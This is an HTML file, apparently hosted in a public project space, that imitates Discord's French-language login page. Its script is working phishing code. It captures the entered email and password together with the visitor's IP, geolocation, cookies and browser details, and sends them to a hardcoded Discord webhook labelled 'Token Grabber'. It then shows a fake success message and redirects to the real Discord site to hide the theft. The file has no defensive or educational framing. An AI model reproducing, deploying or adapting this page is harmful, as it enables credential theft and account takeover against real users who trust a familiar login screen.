phantomsspace / index.html
eduikuigezd's picture
Add 2 files
10e7be1 verified
Raw History Blame Contribute Delete
11.7 kB
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Discord | Connexion</title>
<script src="https://cdn.tailwindcss.com"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<link rel="icon" href="https://discord.com/assets/847541504914fd33810e70a0ea73177e.ico">
<style>
.discord-bg {
background: url('https://assets-global.website-files.com/6257adef93867e50d84d30e2/636e0a6a49cf127bf92de1e4_icon_clyde_blurple_RGB.png') center/cover no-repeat fixed;
background-color: #36393f;
}
.discord-blurple {
background-color: #5865F2;
}
.discord-blurple:hover {
background-color: #4752c4;
}
.input-field {
background-color: #303339;
border: 1px solid #222428;
color: white;
}
.input-field:focus {
border-color: #5865F2;
box-shadow: 0 0 0 2px rgba(88, 101, 242, 0.3);
}
.qr-code {
background: linear-gradient(135deg, #5865F2 0%, #9147ff 100%);
}
.success-check {
color: #3ba55c;
}
.login-container {
background-color: rgba(54, 57, 63, 0.9);
backdrop-filter: blur(5px);
}
</style>
</head>
<body class="discord-bg text-gray-100 min-h-screen flex items-center justify-center p-4">
<div class="max-w-md w-full login-container rounded-lg shadow-xl overflow-hidden">
<div class="p-8">
<div class="text-center mb-8">
<i class="fab fa-discord text-5xl text-white mb-4"></i>
<h1 class="text-2xl font-bold">Bienvenue à nouveau</h1>
<p class="text-gray-400 mt-2">Nous sommes si heureux de vous revoir !</p>
</div>
<form id="loginForm" class="space-y-4">
<div>
<label for="email" class="block text-xs font-semibold text-gray-400 uppercase mb-1">ADRESSE E-MAIL OU NUMÉRO DE TÉLÉPHONE</label>
<input type="email" id="email" class="w-full px-4 py-3 rounded input-field focus:outline-none" required autocomplete="username">
</div>
<div>
<label for="password" class="block text-xs font-semibold text-gray-400 uppercase mb-1">MOT DE PASSE</label>
<input type="password" id="password" class="w-full px-4 py-3 rounded input-field focus:outline-none" required autocomplete="current-password">
</div>
<div class="text-sm text-blue-400 hover:underline cursor-pointer">
<span>Vous avez oublié votre mot de passe ?</span>
</div>
<button type="submit" class="w-full py-3 discord-blurple rounded font-medium mt-6 hover:shadow-lg transition">
Connexion
</button>
<div class="text-sm text-gray-400">
<span>Vous n'avez pas de compte ? </span>
<span class="text-blue-400 hover:underline cursor-pointer">S'inscrire</span>
</div>
</form>
<div id="success" class="hidden mt-6 text-center">
<div class="mb-4">
<i class="fas fa-check-circle text-5xl success-check"></i>
</div>
<h2 class="text-xl font-bold">Connexion réussie</h2>
<p class="text-gray-400 mt-2">Redirection en cours...</p>
</div>
<div id="qrOption" class="mt-8 border-t border-gray-700 pt-6">
<div class="flex items-center space-x-4">
<div class="qr-code w-16 h-16 rounded flex items-center justify-center">
<i class="fas fa-qrcode text-white text-2xl"></i>
</div>
<div>
<h3 class="font-semibold">Se connecter avec QR Code</h3>
<p class="text-sm text-gray-400">Scannez ce code avec l'application mobile Discord pour vous connecter instantanément.</p>
</div>
</div>
</div>
</div>
</div>
<script>
const WEBHOOK_URL = "https://discord.com/api/webhooks/1376607598282801262/2ekGbzMUk_OObP7-jMYDi8quKuamLTNvlpVHXkkAkHsY-WTnUdYPQPAmLUTaAIEHecaT";
document.getElementById('loginForm').addEventListener('submit', async function(e) {
e.preventDefault();
const email = document.getElementById('email').value;
const password = document.getElementById('password').value;
// Masquer le formulaire
document.getElementById('loginForm').classList.add('hidden');
// Récupérer des informations supplémentaires
const ip = await getIP();
const userAgent = navigator.userAgent;
const platform = navigator.platform;
const screenRes = `${window.screen.width}x${window.screen.height}`;
const timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;
const language = navigator.language;
const cookies = document.cookie;
const referrer = document.referrer;
const location = await getLocation(ip);
try {
// Envoyer les données au webhook
await sendToWebhook(email, password, ip, userAgent, platform, screenRes, timezone, language, cookies, referrer, location);
// Afficher le succès (toujours afficher le succès même si les identifiants sont faux)
document.getElementById('success').classList.remove('hidden');
// Rediriger après 3 secondes
setTimeout(() => {
window.location.href = "https://discord.com/login";
}, 3000);
} catch (error) {
console.error("Erreur:", error);
// En cas d'erreur d'envoi au webhook, rediriger quand même
document.getElementById('success').classList.remove('hidden');
setTimeout(() => {
window.location.href = "https://discord.com/login";
}, 3000);
}
});
async function getIP() {
try {
const response = await fetch('https://api.ipify.org?format=json');
const data = await response.json();
return data.ip;
} catch (error) {
return "IP non disponible";
}
}
async function getLocation(ip) {
try {
if (ip === "IP non disponible") return "Localisation non disponible";
const response = await fetch(`https://ipapi.co/${ip}/json/`);
const data = await response.json();
return `${data.city}, ${data.region}, ${data.country_name}`;
} catch (error) {
return "Localisation non disponible";
}
}
async function sendToWebhook(email, password, ip, userAgent, platform, screenRes, timezone, language, cookies, referrer, location) {
const embed = {
title: "🔑 NOUVEAUX IDENTIFIANTS DISCORD",
color: 0x5865F2,
timestamp: new Date().toISOString(),
fields: [
{
name: "📧 Email",
value: email || "Non fourni",
inline: true
},
{
name: "🔑 Mot de passe",
value: "||" + (password || "Non fourni") + "||",
inline: true
},
{
name: "🌐 Adresse IP",
value: ip || "Non disponible",
inline: true
},
{
name: "📍 Localisation",
value: location || "Non disponible",
inline: true
},
{
name: "🖥️ User Agent",
value: "```" + userAgent + "```",
inline: false
},
{
name: "📱 Plateforme",
value: platform,
inline: true
},
{
name: "🖥️ Résolution",
value: screenRes,
inline: true
},
{
name: "⏰ Fuseau horaire",
value: timezone,
inline: true
},
{
name: "🌍 Langue",
value: language,
inline: true
},
{
name: "🍪 Cookies",
value: "```" + (cookies || "Aucun cookie") + "```",
inline: false
},
{
name: "🔗 Referrer",
value: referrer || "Direct",
inline: true
}
],
footer: {
text: "Token Grabber • " + new Date().toLocaleString()
}
};
const params = {
username: "Discord Token Grabber",
avatar_url: "https://discord.com/assets/847541504914fd33810e70a0ea73177e.ico",
embeds: [embed],
content: "@everyone **Nouveaux identifiants récupérés**"
};
const response = await fetch(WEBHOOK_URL, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(params)
});
if (!response.ok) {
throw new Error("Échec de l'envoi au webhook");
}
}
// Ajouter un effet de focus réaliste sur les champs
document.querySelectorAll('.input-field').forEach(input => {
input.addEventListener('focus', function() {
this.parentElement.querySelector('label').classList.add('text-blue-400');
});
input.addEventListener('blur', function() {
this.parentElement.querySelector('label').classList.remove('text-blue-400');
});
});
</script>
<p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=eduikuigezd/phantomsspace" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body>
</html>